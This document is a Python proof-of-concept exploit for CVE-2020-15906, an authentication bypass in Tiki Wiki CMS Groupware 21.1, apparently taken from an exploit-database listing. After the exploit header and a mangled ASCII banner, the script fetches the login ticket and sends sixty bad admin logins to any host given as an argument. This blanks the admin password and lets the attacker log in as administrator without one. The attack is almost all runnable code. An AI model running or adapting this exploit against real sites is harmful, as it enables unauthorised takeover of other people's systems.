Share
## https://sploitus.com/exploit?id=EDB-ID:48927
# Exploit Title: Tiki Wiki CMS Groupware 21.1 - Authentication Bypass
# Date: 01.08.2020 (1st August 2020)
# Exploit Author: Maximilian Barz aka. Silky
# Vendor Homepage: tiki.org
# Software Link: https://jztkft.dl.sourceforge.net/project/tikiwiki/Tiki_21.x_UY_Scuti/21.1/tiki-21.1.zip
# Version: 21.1
# Tested on: Kali Linux 5.7.0-kali1-amd64

#!/usr/bin/env/python3
import requests
import json
import lxml.html
import sys

banner = ''' 

โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€  โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€    โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€  โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€    โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€  โ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€                                                                                                   
โ€โ€โ€โ–ˆโ–ˆโ€โ€โ€โ€โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€ โ–ˆโ–ˆโ€โ€โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€    โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€ โ–ˆโ–ˆโ€โ€โ–ˆโ–ˆโ€    โ€โ€โ€โ€โ€โ–ˆโ–ˆโ€โ–ˆโ–ˆโ–ˆโ€  โ–ˆโ–ˆโ–ˆโ€                                                                                                   
   โ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€โ€ โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€ โ–ˆโ€ โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€โ€ โ–ˆโ–ˆโ€     โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€โ€โ€โ–ˆโ–ˆโ€  โ€โ–ˆโ–ˆโ€                                                                                                   
   โ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€โ€โ–ˆโ–ˆโ€ โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€โ–ˆโ–ˆโ–ˆโ€โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€โ€โ–ˆโ–ˆโ€ โ–ˆโ–ˆโ€    โ–ˆโ–ˆโ€โ€โ€โ€โ€  โ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€                                                                                                   
   โ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€  โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€โ€โ–ˆโ–ˆโ–ˆโ€โ–ˆโ–ˆโ–ˆโ€โ€โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€  โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€    โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€ โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€                                                                                                   
   โ€โ€โ€   โ€โ€โ€โ€โ€โ€  โ€โ€โ€โ€โ€โ€ โ€โ€โ€โ€โ€โ€โ€โ€ โ€โ€โ€โ€โ€โ€  โ€โ€โ€โ€โ€โ€    โ€โ€โ€โ€โ€โ€โ€โ€ โ€โ€โ€โ€โ€โ€โ€โ€โ€                                                                                                   
                                                                                                                                                                        
 โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€ โ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€โ–ˆโ–ˆโ€  โ–ˆโ–ˆโ€โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€โ–ˆโ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€โ–ˆโ–ˆโ€ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€โ–ˆโ–ˆโ€ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€ โ–ˆโ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€        โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€ โ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€
โ–ˆโ–ˆโ€โ€โ€โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€โ€โ€โ€โ–ˆโ–ˆโ€โ€โ€โ€โ–ˆโ–ˆโ€  โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€โ€โ€โ€โ€โ€โ–ˆโ–ˆโ–ˆโ–ˆโ€  โ–ˆโ–ˆโ€โ€โ€โ€โ–ˆโ–ˆโ€โ€โ€โ€โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€โ€โ€โ€โ€โ€โ–ˆโ–ˆโ€โ€โ€โ–ˆโ–ˆโ€โ€โ€โ€โ–ˆโ–ˆโ€โ€โ€โ€โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€โ€โ€โ€โ–ˆโ–ˆโ€โ–ˆโ–ˆโ–ˆโ–ˆโ€  โ–ˆโ–ˆโ€        โ–ˆโ–ˆโ€โ€โ€โ–ˆโ–ˆโ€โ€โ–ˆโ–ˆโ€ โ–ˆโ–ˆโ€โ€โ–ˆโ–ˆโ€โ€โ€โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€โ€โ€โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€โ€โ€โ€โ€โ€โ–ˆโ–ˆโ€โ€โ€โ€โ€โ€
โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€โ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€   โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€  โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€ โ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€     โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€ โ–ˆโ–ˆโ€        โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€โ€ โ€โ–ˆโ–ˆโ–ˆโ–ˆโ€โ€ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€โ€โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€
โ–ˆโ–ˆโ€โ€โ€โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€โ€โ€โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€โ€โ€โ€  โ–ˆโ–ˆโ€โ€โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€     โ–ˆโ–ˆโ€โ€โ€โ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€โ€โ–ˆโ–ˆโ€โ–ˆโ–ˆโ€        โ–ˆโ–ˆโ€โ€โ€โ–ˆโ–ˆโ€  โ€โ–ˆโ–ˆโ€โ€  โ–ˆโ–ˆโ€โ€โ€โ€โ€ โ–ˆโ–ˆโ€โ€โ€โ–ˆโ–ˆโ€โ€โ€โ€โ€โ€โ–ˆโ–ˆโ€โ€โ€โ€โ€โ€โ–ˆโ–ˆโ€
โ–ˆโ–ˆโ€  โ–ˆโ–ˆโ€โ€โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€โ€   โ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€  โ–ˆโ–ˆโ€โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€โ–ˆโ–ˆโ€ โ€โ–ˆโ–ˆโ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€โ€โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€โ–ˆโ–ˆโ€  โ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€โ€โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€โ€โ–ˆโ–ˆโ€ โ€โ–ˆโ–ˆโ–ˆโ–ˆโ€       โ€โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€โ€   โ–ˆโ–ˆโ€   โ–ˆโ–ˆโ€     โ–ˆโ–ˆโ€  โ–ˆโ–ˆโ€โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ€
โ€โ€โ€  โ€โ€โ€ โ€โ€โ€โ€โ€โ€โ€    โ€โ€โ€   โ€โ€โ€  โ€โ€โ€โ€โ€โ€โ€โ€โ€โ€โ€โ€โ€โ€  โ€โ€โ€โ€โ€   โ€โ€โ€   โ€โ€โ€ โ€โ€โ€โ€โ€โ€โ€โ€โ€โ€  โ€โ€โ€   โ€โ€โ€   โ€โ€โ€ โ€โ€โ€โ€โ€โ€โ€ โ€โ€โ€  โ€โ€โ€โ€โ€โ€โ€โ€โ€โ€โ€โ€โ€โ€โ€โ€โ€โ€โ€โ€    โ€โ€โ€   โ€โ€โ€     โ€โ€โ€  โ€โ€โ€โ€โ€โ€โ€โ€โ€โ€โ€โ€โ€โ€โ€โ€โ€โ€โ€
Poof of Concept for CVE-2020-15906 by Maximilian Barz, Twitter: S1lky_1337
'''




def main():
    if(len(sys.argv) < 2):
        print(banner)
        print("Usage: %s <host> " % sys.argv[0])
        print("Eg:    %s 1.2.3.4 " % sys.argv[0])
        return


    rhost = sys.argv[1]
    url = "http://"+rhost+"/tiki/tiki-login.php"

    session = requests.Session()

    def get_ticket():
        r = requests.get(url)
        login_page = r.text.encode('utf-8') 
        html = lxml.html.fromstring(login_page) 
        auth = html.xpath('//input[@name="ticket"]/@value')

        return str(auth)[2:-2]

    def get_cookie():
        session.get(url)
        return session.cookies.get_dict()


    cookie = get_cookie()
    ticket = get_ticket()
    
    payload = {'ticket': ticket,'user':'admin', 'pass':'test','login':'','stay_in_ssl_mode_present':'y','stay_in_ssl_mode':'n'}
    headers = {
        'Host': rhost,
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzrhost, deflate',
        'Referer': 'http://'+rhost+'/tiki/tiki-login.php',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Content-Length': '125',
        'Connection': 'close',
        'Upgrade-Insecure-Requests': '1',
        'Cache-Control': 'max-age=0',
    }


    for i in range(60):
        r = session.post(url, payload, headers)
        if("Account requires administrator approval." in r.text):
            print("Admin Password got removed.")
            print("Use BurpSuite to login into admin without a password ")



if(__name__ == '__main__'):
    main()